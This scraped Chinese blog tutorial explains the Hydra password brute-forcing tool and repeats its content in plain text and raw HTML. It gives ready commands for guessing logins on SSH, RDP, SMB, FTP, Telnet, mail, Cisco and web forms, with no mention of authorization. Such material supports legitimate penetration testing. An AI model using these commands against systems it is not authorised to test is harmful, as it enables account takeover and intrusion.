【经验分享】Hydra(爆破神器)使用方法

这个也是backtrack下面很受欢迎的一个工具

参数详解:
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)

使用案例:

使用hydra破解ssh的密码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

破解https:
# hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解cisco:
# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt IP smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
# hydra IP rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet
# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V


破解ftp:
# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
get方式提交,破解web登录:
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
post方式提交,破解web登录:
  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:










  假设有以上一个密码登录表单,我们执行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:invalido
  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
  后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。</p> <p> </p> <div>   </div> <div>   </div> <div>   </div> <div> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><span style="margin: 0px; padding: 0px; line-height: 1.8; color: #800000; font-size: 16px;"><strong style="margin: 0px; padding: 0px;">三、Syntax</strong></span></p> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]</pre> </div> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-R</strong><br style="margin: 0px; padding: 0px;">继续从上一次进度接着破解</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-S</strong><br style="margin: 0px; padding: 0px;">大写,采用SSL链接</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-s <PORT></strong><br style="margin: 0px; padding: 0px;">小写,可通过这个参数指定非默认端口</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-l <LOGIN></strong><br style="margin: 0px; padding: 0px;">指定破解的用户,对特定用户破解</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-L <FILE></strong><br style="margin: 0px; padding: 0px;">指定用户名字典</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-p <PASS></strong><br style="margin: 0px; padding: 0px;">小写,指定密码破解,少用,一般是采用密码字典</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-P <FILE></strong><br style="margin: 0px; padding: 0px;">大写,指定密码字典</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-e <ns></strong><br style="margin: 0px; padding: 0px;">可选选项,n:空密码试探,s:使用指定用户和密码试探</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-C <FILE></strong><br style="margin: 0px; padding: 0px;">使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-M <FILE></strong><br style="margin: 0px; padding: 0px;">指定目标列表文件一行一条</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-o <FILE></strong><br style="margin: 0px; padding: 0px;">指定结果输出文件</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-f</strong><br style="margin: 0px; padding: 0px;">在使用-M参数以后,找到第一对登录名或者密码的时候中止破解</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-t <TASKS></strong><br style="margin: 0px; padding: 0px;">同时运行的线程数,默认为16</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-w <TIME></strong><br style="margin: 0px; padding: 0px;">设置最大超时的时间,单位秒,默认是30s</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">-v / -V</strong><br style="margin: 0px; padding: 0px;">显示详细过程</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">server</strong><br style="margin: 0px; padding: 0px;">目标ip</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">service</strong><br style="margin: 0px; padding: 0px;">指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等</p> <p style="margin: 10px auto 10px 30px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><strong style="margin: 0px; padding: 0px;">OPT</strong><br style="margin: 0px; padding: 0px;">可选项</p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><span style="margin: 0px; padding: 0px; line-height: 1.8; color: #800000; font-size: 16px;"><strong style="margin: 0px; padding: 0px;">四、实例</strong></span></p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;">1、手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典。 </p> <p><a href="http://img.e-com-net.com/image/info8/7bd9914365bb4297ab307c5bee9cf41a.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/7bd9914365bb4297ab307c5bee9cf41a.jpg" alt="【经验分享】Hydra(爆破神器)使用方法_第1张图片" width="278" height="178" style="border:1px solid black;"></a></p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;">2、破解ssh:</p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"># hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh</p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><a href="http://img.e-com-net.com/image/info8/124ccd8bfbd34d0cb2422bab168f4ec2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/124ccd8bfbd34d0cb2422bab168f4ec2.jpg" alt="【经验分享】Hydra(爆破神器)使用方法_第2张图片" width="650" height="458" style="border:1px solid black;"></a></p> <p> </p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;">破解成功,直接显示结果。</p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;">也可以使用 -o 选项指定结果输出文件。</p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"># hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh</p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><a href="http://img.e-com-net.com/image/info8/d5a9c20f1d96492fbc7880c9d661454f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d5a9c20f1d96492fbc7880c9d661454f.jpg" alt="" width="650" height="39"></a></p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><span style="margin: 0px; padding: 0px; line-height: 1.8; color: #800000; font-size: 16px;"><strong style="margin: 0px; padding: 0px;">五、其他类型密码破解</strong></span></p> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解ftp:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">get方式提交,破解web登录:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre>  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/   # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">post方式提交,破解web登录:</li> </ul> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;">  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:</p> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre><form action="index.php" method="POST"> <input type="text" name="name" /><BR><br> <input type="password" name="pwd" /><br><br> <input type="submit" name="sub" value="提交"> </form></pre> </div> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;">  假设有以上一个密码登录表单,我们执行命令:</p> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido

  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

  后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。</p> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解https:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解teamspeak:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解cisco:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra -P pass.txt 10.36.16.18 cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解smb:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra -l administrator -P pass.txt 10.36.16.18 smb</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解pop3:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra -l muts -P pass.txt my.pop3.mail pop3</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解rdp:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra ip rdp -l administrator -P pass.txt -V</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解http-proxy:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra -l admin -P pass.txt http-proxy://10.36.16.18</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解imap:</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN</pre> </div> <ul style="margin: 0px 0px 0px 45px; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"> <li style="margin: 0px; padding: 0px; list-style: inherit !important;">破解telnet</li> </ul> <div class="cnblogs_code" style="margin: 5px 0px; padding: 5px; border: 1px solid #cccccc; overflow: auto; font-family: 'Courier New' !important; font-size: 12px !important;"> <pre># hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V</pre> </div> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;"><span style="margin: 0px; padding: 0px; line-height: 1.8; color: #800000; font-size: 16px;"><strong style="margin: 0px; padding: 0px;">六、总结</strong></span></p> <p style="margin: 10px auto; padding: 0px; color: #333333; font-family: verdana, Arial, Helvetica, sans-serif; font-size: 14px; line-height: 25.2000007629395px;">此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果。</p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1187169867875328000"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(【经验分享】Hydra(爆破神器)使用方法)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1947532241458491392.htm" title="返利APP市场新宠儿:前十名应用全面盘点" target="_blank">返利APP市场新宠儿:前十名应用全面盘点</a> <span class="text-muted">优惠券高省</span> <div>返利APP新宠儿:探索那些被低估的省钱神器在返利APP的海洋中,总有一些宝藏应用因为种种原因而未能广泛为人知。这些应用或许在营销上不够张扬,但它们在功能、返利比例或是用户体验上却有着不俗的表现。今天,我们就来一起探索那些被低估的返利APP新宠儿,看看它们是如何在不经意间成为省钱达人的得力助手的。或许,你正需要的省钱神器就隐藏在其中。高省:返利最高的电商导购平台高省作为杭州长孚科技有限公司旗下的电商</div> </li> <li><a href="/article/1947518987063586816.htm" title="电影票哪里买最便宜?买电影票哪个平台最省钱" target="_blank">电影票哪里买最便宜?买电影票哪个平台最省钱</a> <span class="text-muted">直返APP淘客项目</span> <div>探索电影票优惠新境界:直返APP,您的省钱观影神器在快节奏的现代生活中,电影成为了我们不可或缺的休闲娱乐方式。每当新片上映,寻找最经济的购票渠道便成为了许多影迷的必修课。那么,如何才能以最实惠的价格,享受电影带来的视觉盛宴呢?答案或许就藏在您指尖的直返APP中。直返APP:便捷与优惠的完美结合想象一下,无需繁琐的下载与安装,只需轻轻一点,关注直返APP的微信公众号,一个全新的电影购票世界便向您敞开</div> </li> <li><a href="/article/1947507865975582720.htm" title="9、AutoCAD 2009:块、插入与文件格式全解析" target="_blank">9、AutoCAD 2009:块、插入与文件格式全解析</a> <span class="text-muted">老板来份香菜</span> <a class="tag" taget="_blank" href="/search/AutoCAD/1.htm">AutoCAD</a><a class="tag" taget="_blank" href="/search/2009%EF%BC%9A%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E7%B2%BE%E9%80%9A/1.htm">2009:从入门到精通</a><a class="tag" taget="_blank" href="/search/AutoCAD/1.htm">AutoCAD</a><a class="tag" taget="_blank" href="/search/2009/1.htm">2009</a><a class="tag" taget="_blank" href="/search/%E5%9D%97%E5%88%9B%E5%BB%BA/1.htm">块创建</a><a class="tag" taget="_blank" href="/search/%E6%8F%92%E5%85%A5%E5%9D%97/1.htm">插入块</a> <div>AutoCAD2009:块、插入与文件格式全解析在AutoCAD2009中,块和插入功能以及不同的文件格式是提高绘图效率和实现多样化绘图需求的重要工具。下面将详细介绍这些功能的使用方法和相关操作。1.块的创建块是可以插入到其他绘图中的图形,它们包含在创建它们的绘图数据中。创建块的步骤如下:1.绘制图形:以1:50的比例绘制建筑符号,如双床符号。2.打开块定义对话框:左键单击“主页/块”面板中的“创</div> </li> <li><a href="/article/1947495886980444160.htm" title="Selenium自动化测试实战指南:原理、工具与应用" target="_blank">Selenium自动化测试实战指南:原理、工具与应用</a> <span class="text-muted">Compass宁</span> <div>本文还有配套的精品资源,点击获取简介:Selenium是一个用于Web应用程序自动化测试的开源工具,它通过提供API支持多种编程语言编写脚本,实现浏览器的自动化操作。本实例将详细介绍如何使用Selenium进行自动化测试,包括浏览器驱动的使用方法。学习Selenium可以提高软件测试效率,减少错误,并通过各种实例加深对自动化测试工具的理解。实例包括了如何安装、配置Selenium库和浏览器驱动,以</div> </li> <li><a href="/article/1947490474050777088.htm" title="2024年最佳返利APP排行榜:10款令你省钱又便捷的返利神器" target="_blank">2024年最佳返利APP排行榜:10款令你省钱又便捷的返利神器</a> <span class="text-muted">直返APP京东优惠券</span> <div>随着电子商务的飞速发展,越来越多的消费者开始关注如何在网购过程中节省开支。返利APP作为一种省钱利器,为广大用户提供了一个方便快捷的购物返利平台。在2024年众多返利APP中,以下是10款备受好评的返利神器,让您在享受购物乐趣的同时,省钱又便捷。一、直返直返的口号是“返利就用直返”,它强调没有上级赚差价,直接为用户提供商家和消费者之间的综合优惠券返利平台。用户可以在直返上获取自己感兴趣的商品,购买</div> </li> <li><a href="/article/1947487696561696768.htm" title="用python自制简单小游戏----Pyinstaller库" target="_blank">用python自制简单小游戏----Pyinstaller库</a> <span class="text-muted">AI 嗯啦</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/pygame/1.htm">pygame</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>目录一、简单介绍Pyinstaller库主要特点基本使用方法打包流程说明注意事项二、实例演示1、井字棋2、猜单词3、猜数字三、找到自己打包的可执行文件现在你就会自己做小游戏了,快去和你的小伙伴分享吧在编程的世界里,没有什么比亲手打造一款属于自己的小游戏更能带来成就感了。当一行行代码在屏幕上跳动,最终幻化成可以操作的角色、有趣的关卡时,那种从0到1的创造喜悦,足以让每个开发者为之着迷。而Python</div> </li> <li><a href="/article/1947465613249146880.htm" title="C++中constexpr函数" target="_blank">C++中constexpr函数</a> <span class="text-muted">棉猴</span> <a class="tag" taget="_blank" href="/search/C%2B%2B%E5%9F%BA%E7%A1%80/1.htm">C++基础</a><a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/constexpr%E5%87%BD%E6%95%B0/1.htm">constexpr函数</a><a class="tag" taget="_blank" href="/search/error/1.htm">error</a><a class="tag" taget="_blank" href="/search/C3256/1.htm">C3256</a><a class="tag" taget="_blank" href="/search/error/1.htm">error</a><a class="tag" taget="_blank" href="/search/C2131/1.htm">C2131</a><a class="tag" taget="_blank" href="/search/error/1.htm">error</a><a class="tag" taget="_blank" href="/search/C3250/1.htm">C3250</a> <div>1简介constexpr函数指的是在编译的时候就能得到其返回值的函数,也就是说编译器将constexpr函数直接转换成其返回值,因此,constexpr函数都是被隐式地定义为内联函数。使用constexpr关键字来修饰constexpr函数。2使用方法有如下代码:constexpr int myFunc(){return 1;}constexpr int i=myFunc()*4;此时,编译器会将</div> </li> <li><a href="/article/1947455136565620736.htm" title="uni 读取网络json_uni-app怎么使用路由守卫,并且路由配置和pages.json中只写一套..." target="_blank">uni 读取网络json_uni-app怎么使用路由守卫,并且路由配置和pages.json中只写一套...</a> <span class="text-muted">天天很向上</span> <a class="tag" taget="_blank" href="/search/uni/1.htm">uni</a><a class="tag" taget="_blank" href="/search/%E8%AF%BB%E5%8F%96%E7%BD%91%E7%BB%9Cjson/1.htm">读取网络json</a> <div>背景uni-app本身没有路由,无法使用路由守卫。那么有这么一个功能:当某些页面需要登录,进入之前需要判断是否登录,如果没有登录则跳转到登录页。可以封装公共方法或混入实现,但是不太优雅,这时使用路由守卫实在是太方便了!幸好,插件uni-simple-router给我们提供了1.uni-simple-router使用方法uni-simple-router是专为uni-app打造的路由管理器。它保留了</div> </li> <li><a href="/article/1947447703831113728.htm" title="关于IO流的笔记" target="_blank">关于IO流的笔记</a> <span class="text-muted">秋也凉</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>目录IO分类:IO流的类的结构图:4个父类(抽象类)常用使用方法:案例:把字符串写到文件中定义I/O操作主要是指使用Java完成输入(Input)和输出(Output)操作。输入是指将文件内容以数据流的形式读入内存,输出是指通过Java程序将内存中的数据写入文件。IO分类:按方向分类:站在程序这端来看输出流:从程序流到文件输入流:从文件到程序按IO流大小分类:字节流:每一次读写一个字节字符流:每一</div> </li> <li><a href="/article/1947447199877099520.htm" title="【杂记】SQLAlchemy使用方法记录" target="_blank">【杂记】SQLAlchemy使用方法记录</a> <span class="text-muted"></span> <div>目录写在前面1.什么是SQLAlchemy2.安装SQLAlchemy3.使用方法3.1初始化数据库连接3.2创建表3.2.1基础创建表操作3.2.2常用表字段属性代码3.2.3建立数据库表关系(1)一对多(2)多对多3.3查询数据3.3.1通用的查询数据方法3.3.2过滤规则3.4向数据表中添加/删除/更改数据3.4.1添加数据3.4.2删除数据3.4.3更改数据参考写在前面仅作个人学习与记录用</div> </li> <li><a href="/article/1947436989808701440.htm" title="深入解析Linux命令:创建目录mkdir的全面指南" target="_blank">深入解析Linux命令:创建目录mkdir的全面指南</a> <span class="text-muted">梦幻南瓜</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>在Linux操作系统中,mkdir命令是创建目录的基础工具。无论是系统管理员还是普通用户,掌握mkdir的使用方法都是必不可少的。本文将详细解读mkdir命令的用法、选项及其在实际操作中的应用场景。1.mkdir命令的基本用法mkdir是“makedirectory”的缩写,用于在指定路径下创建新目录。其基本语法如下:mkdir[选项]目录名1.1创建单个目录最简单的用法是创建一个目录。例如,要在</div> </li> <li><a href="/article/1947402793052598272.htm" title="盘点2022年8大配音软件排行版,大佬都在用" target="_blank">盘点2022年8大配音软件排行版,大佬都在用</a> <span class="text-muted">二两陈</span> 